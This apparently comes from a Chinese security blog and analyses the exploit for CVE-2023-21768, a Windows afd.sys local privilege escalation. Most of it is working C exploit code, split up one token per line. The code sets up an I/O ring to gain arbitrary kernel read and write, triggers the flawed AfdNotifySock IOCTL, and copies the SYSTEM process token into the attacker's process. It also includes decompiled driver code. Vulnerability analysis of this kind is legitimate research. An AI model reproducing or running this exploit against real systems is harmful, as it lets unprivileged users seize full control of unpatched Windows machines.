CVE-2023-21768 Windows Ancillary Function Driver (AFD) afd.sys本地提权漏洞。
本文是对exp代码的分析,完整exp :
个人感觉整个exp中最精华的部分在ioring的lpe部分,这部分代码来自
i/o ring 是Windows 11(22H2)新出现的一种机制,参考
通过CreateIoRing来创建一个IORING_OBJECT对象。内核中对应NtCreateIoRing。
1
2
3
4
5
6
7
|
HRESULT CreateIoRing(
IORING_VERSION ioringVersion,
IORING_CREATE_FLAGS flags,
UINT32 submissionQueueSize,
UINT32 completionQueueSize,
HIORING
*
h
);
|
submissionQueueSize和completionQueueSize会被替换成2的幂数,使用GetIoRingInfo获取实际大小。
submission queue的结构是头部+若干个NT_IORING_SEQ,Head和Tail之间的NT_IORING_SEQ是还未被处理的NT_IORING_SEQ。
submission queue entry的结构
以FileRef所指向的文件句柄和buffer进行读写操作,当操作为读时从文件处读取length长的数据并写入到buffer的Address中,当操作为写时从buffer的Address处读取length长的数据并写入到文件中。
通过SubmitIoRing函数提交。
正常情况下这个操作是不会出问题的,但是如果我们有一个任意写漏洞的时候会发生什么呢?
如果我们将Buffer改写为我们申请出的一块内存,并且将address和length设置好,那么当操作是写时,从buffer的Address处读取length长的数据并写入到文件中,我们在从这个文件中读出数据就可以实现任意读,当操作是读时,从文件处读取length长的数据并写入到buffer的Address中,就可以实现任意写。
也即通过BuildIoRingWriteFile实现任意读,通过BuildIoRingReadFile实现任意写。
创建I/O ring对象,再创建两个命名管道用做读写句柄。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
创建I
/
O ringint ioring_setup(PIORING_OBJECT
*
ppIoRingAddr)
{
int
ret
=
-
1
;
IORING_CREATE_FLAGS ioRingFlags
=
{
0
};
ioRingFlags.Required
=
IORING_CREATE_REQUIRED_FLAGS_NONE;
ioRingFlags.Advisory
=
IORING_CREATE_REQUIRED_FLAGS_NONE;
ret
=
CreateIoRing(IORING_VERSION_3, ioRingFlags,
0x10000
,
0x20000
, &hIoRing);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
getobjptr(ppIoRingAddr, GetCurrentProcessId(),
*
(PHANDLE)hIoRing);
if
(
0
!
=
ret)
{
goto done;
}
pIoRing
=
*
ppIoRingAddr;
hInPipe
=
CreateNamedPipe(L
"\\\\.\\pipe\\ioring_in"
, PIPE_ACCESS_DUPLEX, PIPE_WAIT,
255
,
0x1000
,
0x1000
,
0
, NULL);
hOutPipe
=
CreateNamedPipe(L
"\\\\.\\pipe\\ioring_out"
, PIPE_ACCESS_DUPLEX, PIPE_WAIT,
255
,
0x1000
,
0x1000
,
0
, NULL);
if
((INVALID_HANDLE_VALUE
=
=
hInPipe) || (INVALID_HANDLE_VALUE
=
=
hOutPipe))
{
ret
=
GetLastError();
goto done;
}
hInPipeClient
=
CreateFile(L
"\\\\.\\pipe\\ioring_in"
, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
hOutPipeClient
=
CreateFile(L
"\\\\.\\pipe\\ioring_out"
, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if
((INVALID_HANDLE_VALUE
=
=
hInPipeClient) || (INVALID_HANDLE_VALUE
=
=
hOutPipeClient))
{
ret
=
GetLastError();
goto done;
}
ret
=
0
;
done:
return
ret;
}
|
首先设置好读取数据地址和长度,在通过BuildIoRingWriteFile将ReadAddr处的数据写入到管道中,再从管道中将数据读取到ReadBuffer中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
int
ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
int
ret
=
-
1
;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry
=
NULL;
IORING_HANDLE_REF reqFile
=
IoRingHandleRefFromHandle(hOutPipeClient);
IORING_BUFFER_REF reqBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
IORING_CQE cqe
=
{
0
};
pMcBufferEntry
=
VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if
(NULL
=
=
pMcBufferEntry)
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
-
>Address
=
pReadAddr;
pMcBufferEntry
-
>Length
=
ulReadLen;
pMcBufferEntry
-
>
Type
=
0xc02
;
pMcBufferEntry
-
>Size
=
0x80
;
pMcBufferEntry
-
>AccessMode
=
1
;
pMcBufferEntry
-
>ReferenceCount
=
1
;
pRegisterBuffers[
0
]
=
pMcBufferEntry;
ret
=
BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen,
0
, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
SubmitIoRing(hIoRing,
0
,
0
, NULL);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
PopIoRingCompletion(hIoRing, &cqe);
if
(
0
!
=
ret)
{
goto done;
}
if
(
0
!
=
cqe.ResultCode)
{
ret
=
cqe.ResultCode;
goto done;
}
if
(
0
=
=
ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
{
ret
=
GetLastError();
goto done;
}
ret
=
0
;
done:
if
(NULL !
=
pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return
ret;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
int
ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
int
ret
=
-
1
;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry
=
NULL;
IORING_HANDLE_REF reqFile
=
IoRingHandleRefFromHandle(hInPipeClient);
IORING_BUFFER_REF reqBuffer
=
IoRingBufferRefFromIndexAndOffset(
0
,
0
);
IORING_CQE cqe
=
{
0
};
if
(
0
=
=
WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
=
VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if
(NULL
=
=
pMcBufferEntry)
{
ret
=
GetLastError();
goto done;
}
pMcBufferEntry
-
>Address
=
pWriteAddr;
pMcBufferEntry
-
>Length
=
ulWriteLen;
pMcBufferEntry
-
>
Type
=
0xc02
;
pMcBufferEntry
-
>Size
=
0x80
;
pMcBufferEntry
-
>AccessMode
=
1
;
pMcBufferEntry
-
>ReferenceCount
=
1
;
pRegisterBuffers[
0
]
=
pMcBufferEntry;
ret
=
BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen,
0
, NULL, IOSQE_FLAGS_NONE);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
SubmitIoRing(hIoRing,
0
,
0
, NULL);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
PopIoRingCompletion(hIoRing, &cqe);
if
(
0
!
=
ret)
{
goto done;
}
if
(
0
!
=
cqe.ResultCode)
{
ret
=
cqe.ResultCode;
goto done;
}
ret
=
0
;
done:
if
(NULL !
=
pMcBufferEntry)
{
VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
}
return
ret;
}
|
找到system进程然后替换token。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
int
ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt)
{
int
ret
=
-
1
;
HANDLE hProc
=
NULL;
ULONG64 ullSystemEPROCaddr
=
0
;
ULONG64 ullTargEPROCaddr
=
0
;
PVOID pFakeRegBuffers
=
NULL;
_HIORING
*
phIoRing
=
NULL;
ULONG64 ullSysToken
=
0
;
char null[
0x10
]
=
{
0
};
hProc
=
OpenProcess(PROCESS_QUERY_INFORMATION,
0
, pid);
if
(NULL
=
=
hProc)
{
ret
=
GetLastError();
goto done;
}
ret
=
getobjptr(&ullSystemEPROCaddr,
4
,
4
);
if
(
0
!
=
ret)
{
goto done;
}
printf(
"[+] System EPROC address: %llx\n"
, ullSystemEPROCaddr);
ret
=
getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);
if
(
0
!
=
ret)
{
goto done;
}
printf(
"[+} Target process EPROC address: %llx\n"
, ullTargEPROCaddr);
pFakeRegBuffers
=
VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64)
*
ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if
(pFakeRegBuffers !
=
(PVOID)ullFakeRegBufferAddr)
{
ret
=
GetLastError();
goto done;
}
memset(pFakeRegBuffers,
0
, sizeof(ULONG64)
*
ulFakeRegBufferCnt);
phIoRing
=
*
(_HIORING
*
*
)&hIoRing;
phIoRing
-
>RegBufferArray
=
pFakeRegBuffers;
phIoRing
-
>BufferArraySize
=
ulFakeRegBufferCnt;
ret
=
ioring_read(pFakeRegBuffers, ullSystemEPROCaddr
+
EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));
if
(
0
!
=
ret)
{
goto done;
}
printf(
"[+] System token is at: %llx\n"
, ullSysToken);
ret
=
ioring_write(pFakeRegBuffers, ullTargEPROCaddr
+
EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));
if
(
0
!
=
ret)
{
goto done;
}
ioring_write(pFakeRegBuffers, &pIoRing
-
>RegBuffersCount, &null,
0x10
);
ret
=
0
;
done:
return
ret;
}
|
通过diff可以判断漏洞点位于afd.sys的AfdNotifyRemoveIoCompletion函数。
这里可以看出没有对**(_DWORD **)(a3 + 24)进行进行验证就把v18赋值,所以设置好这里就可以实现任意写。
查找这个函数的引用是AfdNotifySock。继续查找引用,发现其在AfdImmediateCallDispatch中是最后一个函数,
在AfdIoctlTable中找到最后一个ioctl_code, 是0x12127。
与afd.sys交互参考
查看AfdNotifySock函数。
检测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
|
if
( InputBufferLength !
=
0x30
|| OutputBufferLength )
{
v10
=
STATUS_INFO_LENGTH_MISMATCH;
goto LABEL_45;
}
if
( !v7
-
>dwCounter )
goto LABEL_5;
if
( v7
-
>dwLen )
{
if
( !v7
-
>pPwnPtr || !v7
-
>pData2 )
goto LABEL_5;
}
else
if
( v7
-
>pData2 || v7
-
>dwTimeout )
{
LABEL_5:
v10
=
STATUS_INVALID_PARAMETER;
goto LABEL_45;
}
v11
=
v7
-
>hCompletion;
Object
=
0i64
;
v10
=
ObReferenceObjectByHandle(v11,
2u
, IoCompletionObjectType, pre_mode, &
Object
,
0i64
);
if
( v10 >
=
0
)
{
v12
=
IoIs32bitProcess(
0i64
);
v13
=
0
;
v14
=
(unsigned __int64
*
)MmUserProbeAddress;
while
( v13 < v7
-
>dwCounter )
{
if
( pre_mode )
{
v24
=
0i64
;
v25
=
0i64
;
v15
=
v13;
v16
=
v7
-
>pData1;
if
( v12 )
{
v17
=
(unsigned __int64)v16
+
16
*
v13;
v31
=
v17;
if
( (v17 &
3
) !
=
0
)
ExRaiseDatatypeMisalignment();
if
( v17
+
16
>
*
v14 || v17
+
16
< v17 )
*
(_BYTE
*
)
*
v14
=
0
;
*
(_QWORD
*
)&v24
=
*
(unsigned
int
*
)v17;
*
((_QWORD
*
)&v24
+
1
)
=
*
(unsigned
int
*
)(v17
+
4
);
LOWORD(v25)
=
*
(_WORD
*
)(v17
+
8
);
BYTE2(v25)
=
*
(_BYTE
*
)(v17
+
10
);
}
else
{
v17
=
(unsigned __int64)v16
+
24
*
v13;
if
( v17 >
=
*
v14 )
v17
=
*
v14;
v24
=
*
(_OWORD
*
)v17;
v25
=
*
(_QWORD
*
)(v17
+
16
);
}
v18
=
&v24;
v27
=
&v24;
}
else
{
v15
=
v13;
v17
=
3i64
*
v13;
v18
=
(__int128
*
)((char
*
)v7
-
>pData1
+
24
*
v13);
v27
=
v18;
}
v19
=
a1;
if
( v13 )
v19
=
0i64
;
LOBYTE(v17)
=
pre_mode;
v20
=
AfdNotifyProcessRegistration(v17, v9, v18, v19);
if
( pre_mode )
{
v21
=
(char
*
)v7
-
>pData1;
v14
=
(unsigned __int64
*
)MmUserProbeAddress;
if
( v12 )
v22
=
&v21[
16
*
v15
+
12
];
else
v22
=
&v21[
24
*
v15
+
20
];
if
( (unsigned __int64)v22 >
=
MmUserProbeAddress )
v22
=
(char
*
)MmUserProbeAddress;
*
(_DWORD
*
)v22
=
v20;
}
else
{
*
((_DWORD
*
)v7
-
>pData1
+
6
*
v15
+
5
)
=
v20;
v14
=
(unsigned __int64
*
)MmUserProbeAddress;
}
+
+
v13;
}
v10
=
AfdNotifyRemoveIoCompletion(pre_mode, (__int64)v9, (__int64)v7);
}
|
为了过掉检测需要将InputBufferLength设置为0x30,将hCompletion通过未导出函数NtCreateIoCompletion设置为一个句柄,将pdata1设置为一块申请出的空间, counter 设为1。
查看AfdNotifyRemoveIoCompletion函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
dwLen
=
a3
-
>dwLen;
if
( !(_DWORD)dwLen )
{
LABEL_33:
v8
=
0
;
goto LABEL_34;
}
if
( a1 )
ProbeForWrite(a3
-
>pData2, v9, v11);
v8
=
IoRemoveIoCompletion(v25, Pool2, v4, (unsigned
int
)dwLen, &v20, a1, v13,
0
);
if
( !v8 )
{
if
( v19 )
{
for
( i
=
0
; i < v20;
+
+
i )
{
v15
=
&Pool2[
32
*
i];
v16
=
(char
*
)a3
-
>pData2
+
16
*
i;
*
v16
=
*
(_DWORD
*
)v15;
v16[
1
]
=
*
((_DWORD
*
)v15
+
2
);
v16[
3
]
=
*
((_DWORD
*
)v15
+
6
);
v16[
2
]
=
*
((_DWORD
*
)v15
+
4
);
}
}
*
(_DWORD
*
)a3
-
>pPwnPtr
=
v20;
goto LABEL_33;
}
|
将dwLen = 0x1设为1, pData2设为一块申请出的内存,为了使IoRemoveIoCompletion返回0需要使用未导出函数NtSetIoCompletion。
最后整合到一起就是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
|
int
ArbitraryKernelWrite0x1(void
*
pPwnPtr)
{
int
ret
=
-
1
;
HANDLE hCompletion
=
INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK IoStatusBlock
=
{
0
};
HANDLE hSocket
=
INVALID_HANDLE_VALUE;
UNICODE_STRING ObjectFilePath
=
{
0
};
OBJECT_ATTRIBUTES ObjectAttributes
=
{
0
};
AFD_NOTIFYSOCK_DATA Data
=
{
0
};
HANDLE hEvent
=
NULL;
HANDLE hThread
=
NULL;
/
/
Hard
-
coded attributes
for
an IPv4 TCP socket
BYTE bExtendedAttributes[]
=
{
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x0F
,
0x1E
,
0x00
,
0x41
,
0x66
,
0x64
,
0x4F
,
0x70
,
0x65
,
0x6E
,
0x50
,
0x61
,
0x63
,
0x6B
,
0x65
,
0x74
,
0x58
,
0x58
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x02
,
0x00
,
0x00
,
0x00
,
0x01
,
0x00
,
0x00
,
0x00
,
0x06
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x60
,
0xEF
,
0x3D
,
0x47
,
0xFE
};
ret
=
_NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL,
1
);
if
(
0
!
=
ret)
{
goto done;
}
ret
=
_NtSetIoCompletion(hCompletion,
0x1337
, &IoStatusBlock,
0
,
0x100
);
if
(
0
!
=
ret)
{
goto done;
}
ObjectFilePath.
Buffer
=
(PWSTR)L
"\\Device\\Afd\\Endpoint"
;
ObjectFilePath.Length
=
(USHORT)wcslen(ObjectFilePath.
Buffer
)
*
sizeof(wchar_t);
ObjectFilePath.MaximumLength
=
ObjectFilePath.Length;
ObjectAttributes.Length
=
sizeof(ObjectAttributes);
ObjectAttributes.ObjectName
=
&ObjectFilePath;
ObjectAttributes.Attributes
=
0x40
;
ret
=
_NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL,
0
, FILE_SHARE_READ | FILE_SHARE_WRITE,
1
,
0
, bExtendedAttributes, sizeof(bExtendedAttributes));
if
(
0
!
=
ret)
{
goto done;
}
Data.hCompletion
=
hCompletion;
Data.pData1
=
VirtualAlloc(NULL,
0x2000
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2
=
VirtualAlloc(NULL,
0x2000
, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.dwCounter
=
0x1
;
Data.dwLen
=
0x1
;
Data.dwTimeout
=
100000000
;
Data.pPwnPtr
=
pPwnPtr;
if
((NULL
=
=
Data.pData1) || (NULL
=
=
Data.pData2))
{
ret
=
GetLastError();
goto done;
}
hEvent
=
CreateEvent(NULL,
0
,
0
, NULL);
if
(NULL
=
=
hEvent)
{
ret
=
GetLastError();
goto done;
}
_NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data,
0x30
, NULL,
0
);
ret
=
0
;
done:
if
(INVALID_HANDLE_VALUE !
=
hCompletion)
{
CloseHandle(hCompletion);
}
if
(INVALID_HANDLE_VALUE !
=
hSocket)
{
CloseHandle(hSocket);
}
if
(NULL !
=
hEvent)
{
CloseHandle(hEvent);
}
if
(NULL !
=
Data.pData1)
{
VirtualFree(Data.pData1,
0
, MEM_RELEASE);
}
if
(NULL !
=
Data.pData2)
{
VirtualFree(Data.pData2,
0
, MEM_RELEASE);
}
return
ret;
}
|
更多【Windows_AFD_LPE_CVE-2023-21768分析】相关视频教程:www.yxfzedu.com